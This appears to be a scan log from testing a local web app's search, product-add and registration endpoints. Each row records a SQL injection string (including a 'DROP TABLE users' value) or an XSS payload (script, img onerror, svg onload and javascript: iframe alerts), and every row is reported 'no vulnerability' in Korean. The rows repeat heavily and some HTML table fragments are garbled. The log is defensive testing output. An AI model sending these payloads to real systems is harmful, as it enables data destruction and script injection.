http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음

http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음

http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음

http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/add	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/p roducts/add	<pre></pre>	취약점 없음
http://localhost:3000/p roducts/add	⟨img src=x onerror=alert('XSS')⟩	취약점 없음
http://localhost:3000/p roducts/add	'"> <script>alert('XSS')</ script></td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>' OR '1'='1</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>'; DROP TABLE users;</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/add</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>' OR '1'='1' /*</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>' OR '1'='1' ({</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>admin'</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>' OR '1'='1' #</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>' OR '1'='1</td><td>취약점 없음</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>'; DROP TABLE users;</td><td>취약점 없음</td></tr></tbody></table></script>	

http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' /*	취약점 없음
http://localhost:3000/re gister	' OR '1'='1	취약점 없음
http://localhost:3000/re gister	'; DROP TABLE users;	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' ({	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' #	취약점 없음
http://localhost:3000/re gister	admin'	취약점 없음
http://localhost:3000/re gister	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/re gister	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/re gister	<pre></pre>	취약점 없음
http://localhost:3000/re gister	<pre><svg)="" onload="alert('XSS'"></svg></pre>	취약점 없음
http://localhost:3000/re gister	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	취약점 없음